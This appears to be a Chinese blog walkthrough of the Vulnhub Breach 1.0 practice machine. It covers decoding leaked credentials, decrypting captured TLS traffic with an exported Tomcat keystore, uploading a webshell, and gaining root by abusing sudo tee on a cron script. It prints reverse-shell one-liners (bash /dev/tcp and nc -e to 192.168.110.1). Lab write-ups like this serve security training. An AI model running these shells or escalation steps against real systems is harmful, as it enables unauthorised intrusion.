Vulnhub靶场渗透练习(一) Breach1.0

港控/mmm° 2021-10-26 13:32 307阅读 0赞

打开靶场 固定ip需要更改虚拟机为仅主机模式 192.168.110.140

打开网页http://192.168.110.140/index.html

![1222663-20190705143952043-214089128.png][]

查看源代码发现可以加密字符串

![1222663-20190705144155175-168715900.png][]

猜测base64 解密  cGdpYmJvbnM6ZGFtbml0ZmVlbCRnb29kdG9iZWFnYW5nJHRh  得到这个结果可能是二次加密在base64解密

得到 pgibbons:damnitfeel$goodtobeagang$ta  去除：    得到两个字符串pgibbons，damnitfeel$goodtobeagang$ta

点击图片每个路径都看看发现

![1222663-20190705144736181-275939493.png][]

可以登录 把刚刚拿到的两个密码进行尝试登录

![1222663-20190705144905683-1905109493.png][]

登录成功 发现有3个邮件

![1222663-20190705144942642-1311081117.png][]

192.168.110.140/.keystore   这个地址 为 ssl 加密证书的密钥库   继续搜索有用文件

![1222663-20190705144917764-303378738.png][]

发现 有信息泄露 通过邮件信息猜测 tomcat

![1222663-20190705145202900-1035575917.png][]

发现  pcap 文件 为 wireshark  流量包 可以下载来分析

都是加密过的  可以利用前面的ssl 解密  利用java 的 keytool 获取证书  输入

D:\\jdk\\bin>keytool.exe -list -keystore ![1222663-20190705145950748-1924773156.png][]

输入密钥库口令:tomcat  
密钥库类型: jks  
密钥库提供方: SUN

您的密钥库包含 1 个条目

tomcat, 2016-5-21, PrivateKeyEntry,  
证书指纹 (SHA1): D5:D2:49:C3:69:93:CC:E5:39:A9:DE:5C:91:DC:F1:26:A6:40:46:53

Warning:  
JKS 密钥库使用专用格式。建议使用 "keytool -importkeystore -srckeystore D:\\jdk\\keystore -destkeystore D:\\jdk\\keystore -deststoretype pkcs12" 迁移到行业标准格式 PKCS12。

解密出来 结果

接着导出 p12 证书

输入

keytool -importkeystore -srckeystore D:\jdk\keystore -destkeystore D:\tomcatkeystore.p12 -deststoretype PKCS12
    -srcalias tomcat

![1222663-20190705150729070-107238970.png][]

证书有了 我们就可以查看了 打开Wireshark  编辑--首选项--Protocols--SSL，点击右边的Edit：

![1222663-20190706102014617-1185387912.png][]

输入：192.168.110.140 8443 http 点击选择证书文件 输入密码tomcat

![1222663-20190706102916942-2056925550.png][]

发现包含登录用户名密码的数据包， 采用http basic认证，认证数据包为： Basic

dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC

这是base64编码的用户名密码，将 dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC 复制到Burpsuit Decoder进行解码，

得到Tomcat登录用户名密码

Tomcat后台登录用户名：tomcat，密码：Tt\\5D8F(\#!\*u=G)4m7zB

拿到密码 后 可以直接登录

![1222663-20190706103232332-861094430.png][]

Tomcat 后台是直接可以获取getshell

![1222663-20190706192043190-599058490.png][]

这里上传马以后每隔3分钟会自动删除 所以我们直接利用他反弹一个shell 这里可以用linux 自带的也可以 用msf 生成

echo "bash -i >& /dev/tcp/192.168.110.1/4444 0>&1" | bash

![1222663-20190706192613569-889838354.png][]

本机 输入 nc.exe -lvp 4444

进入项目后直接可以查看项目寻找到 两个特殊文件

![1222663-20190706193355183-1339640331.png][]

看到mysql 的用户密码

![1222663-20190706194044664-519262862.png][]

输入

mysql -u root -p  回车 密码空 在回车

mysql -u root -p

use mysql;

select user,password from user;

exit

![1222663-20190706194239068-1626197384.png][]

发现 milton 用户   去 etc/passwd

![1222663-20190706194358505-1161562543.png][]

发现对应用户 猜测就是这个用户密码

到 https://www.somd5.com/ 解密，得到用户milton的明文密码：thelaststraw

切换 su -milton   用户

无法执行su命令，显示需要一个终端，之前都遇到这个问题，通过Python解决：

python -c 'import pty;pty.spawn("/bin/bash")'

![1222663-20190706195200427-494978149.png][]

接着查询这个用户能否sudo   执行

sudo -l

![1222663-20190706195333420-1650949712.png][]

没发现可利用的   再从新找线索

uname -a

系统内核版本为：Linux Breach 4.2.0-27-generic，不存在Ubuntu本地提权漏洞。存在本地提权漏洞内核版本是：Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04)

查找历史命令发现

![1222663-20190706200349087-1867913088.png][]

su提权到了blumbergh用户。需要找到blumbergh用户的密码。将可用的资源文件下载发现

bill.png  底部是插入编码 可能是二次隐藏密码

![1222663-20190706200855959-1263492757.png][]

tEXtComment  和coffeestains

利用这两个尝试登录

![1222663-20190706201033924-80700967.png][]

登录成功

用户名：blumbergh 密码：coffeestains

查sudo 权限

blumbergh@Breach:~$ sudo -l
    sudo -l
    Matching Defaults entries for blumbergh on Breach:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
    
    User blumbergh may run the following commands on Breach:
    (root) NOPASSWD: /usr/bin/tee /usr/share/cleanup/tidyup.sh

能够以root 权限执行

/usr/bin/tee /usr/share/cleanup/tidyup.sh

在去查看历史命令

![1222663-20190706201454659-1156026841.png][]

发现/usr/share/cleanup和tidyup.sh脚本文件：

执行

cd / 
    blumbergh@Breach:/$ cd usr
    cd usr
    blumbergh@Breach:/usr$ cd share
    cd share
    blumbergh@Breach:/usr/share$ cd cleasnup
    cd cleasnup
    -su: cd: cleasnup: No such file or directory
    blumbergh@Breach:/usr/share$ cd cleanup
    cd cleanup

![1222663-20190706202938682-1797258488.png][]

cat tidyup.sh

得到

#!/bin/bash
    
    #Hacker Evasion Script
    #Initech Cyber Consulting, LLC
    #Peter Gibbons and Michael Bolton - 2016
    #This script is set to run every 3 minutes as an additional defense measure against hackers.
    
    cd /var/lib/tomcat6/webapps && find swingline -mindepth 1 -maxdepth 10 | xargs rm -rf

3分钟删除一次刚刚上马的路径

刚刚看到 这个用户能够执行tee 和 sh清除脚本

tee命令用于读取标准输入的数据，并将其内容输出成文件。tidyup.sh是清理脚本。以root权限运行

这里对linux 命令要解释一下

cat 文件或者 echo ""   | tee -a  文件（要写到里面的文件） -a 不是覆盖是追加

全部我们执行

echo "nc -e /bin/bash 192.168.110.1 5555"| sudo /usr/bin/tee  /usr/share/cleanup/tidyup.sh

![1222663-20190706204609241-1542699266.png][]

cat 查看

等待nc 反弹

![1222663-20190706204815293-1247144208.png][]

成功 记得 python -c 'import pty;pty.spawn("/bin/bash")'  显示终端

转载于:https://www.cnblogs.com/feizianquan/p/11141954.html

[1222663-20190705143952043-214089128.png]: /images/20211026/245777c9c1e24c92bca707b1e33efae0.png
[1222663-20190705144155175-168715900.png]: /images/20211026/2fae5dc22cd54918950449588142cc84.png
[1222663-20190705144736181-275939493.png]: /images/20211026/00b11da41d2e4393a547bb47f688e425.png
[1222663-20190705144905683-1905109493.png]: /images/20211026/b3d3cf8d48364dc79c29ee8721ffdc73.png
[1222663-20190705144942642-1311081117.png]: /images/20211026/b9e62345d65d4f6495ae00fe8dfe570a.png
[1222663-20190705144917764-303378738.png]: /images/20211026/5a0fa44f8df34f83b2bec61b3b24746b.png
[1222663-20190705145202900-1035575917.png]: /images/20211026/17e60f530a68485eaf8d20016fe75215.png
[1222663-20190705145950748-1924773156.png]: /images/20211026/ae244a5ecf3a4dfb8fc7c9674c028a0f.png
[1222663-20190705150729070-107238970.png]: /images/20211026/40c2a8cc0c5444559c79c65eb2817475.png
[1222663-20190706102014617-1185387912.png]: /images/20211026/12447cd01d464a3baa2f80ce54a824f5.png
[1222663-20190706102916942-2056925550.png]: /images/20211026/b6d4e19a4119447c8c3ca59db1166885.png
[1222663-20190706103232332-861094430.png]: /images/20211026/70796f85363f4dcb83c13d3b0719b15a.png
[1222663-20190706192043190-599058490.png]: /images/20211026/5cfe186d8da9432fabffb16ff4cd945c.png
[1222663-20190706192613569-889838354.png]: /images/20211026/0a62aca8dd4b47aa902a76bd11ada93c.png
[1222663-20190706193355183-1339640331.png]: /images/20211026/e438ae3bdb3a412394198de87c0e8100.png
[1222663-20190706194044664-519262862.png]: /images/20211026/f47c88c85bc641fe978bcc895c7bf002.png
[1222663-20190706194239068-1626197384.png]: /images/20211026/7f410bcca8ed49198161b91be81e6c03.png
[1222663-20190706194358505-1161562543.png]: /images/20211026/ae2058d4fe0841ad8992a6667c1451de.png
[1222663-20190706195200427-494978149.png]: /images/20211026/b8a177b82cdd432fa82ad8680fa7fd67.png
[1222663-20190706195333420-1650949712.png]: /images/20211026/d07162e9847945ab93f02dca75d411e8.png
[1222663-20190706200349087-1867913088.png]: /images/20211026/469f8369e33542dfb17b2a712b8c34f1.png
[1222663-20190706200855959-1263492757.png]: /images/20211026/fa61d9dee3cd49f9a54dafc9d460fc64.png
[1222663-20190706201033924-80700967.png]: /images/20211026/202f617dd83c4301ae5e69ee3fc10d8e.png
[1222663-20190706201454659-1156026841.png]: /images/20211026/b13e87703b314bf18345fb1e0866d190.png
[1222663-20190706202938682-1797258488.png]: /images/20211026/d7f61d22810f4eba9b0c3a10cb464312.png
[1222663-20190706204609241-1542699266.png]: /images/20211026/ad1d011f103d45fe9a9ddb0aa724c4aa.png
[1222663-20190706204815293-1247144208.png]: /images/20211026/2c45f2a8955c4a4f83843cb2a0e8fc02.png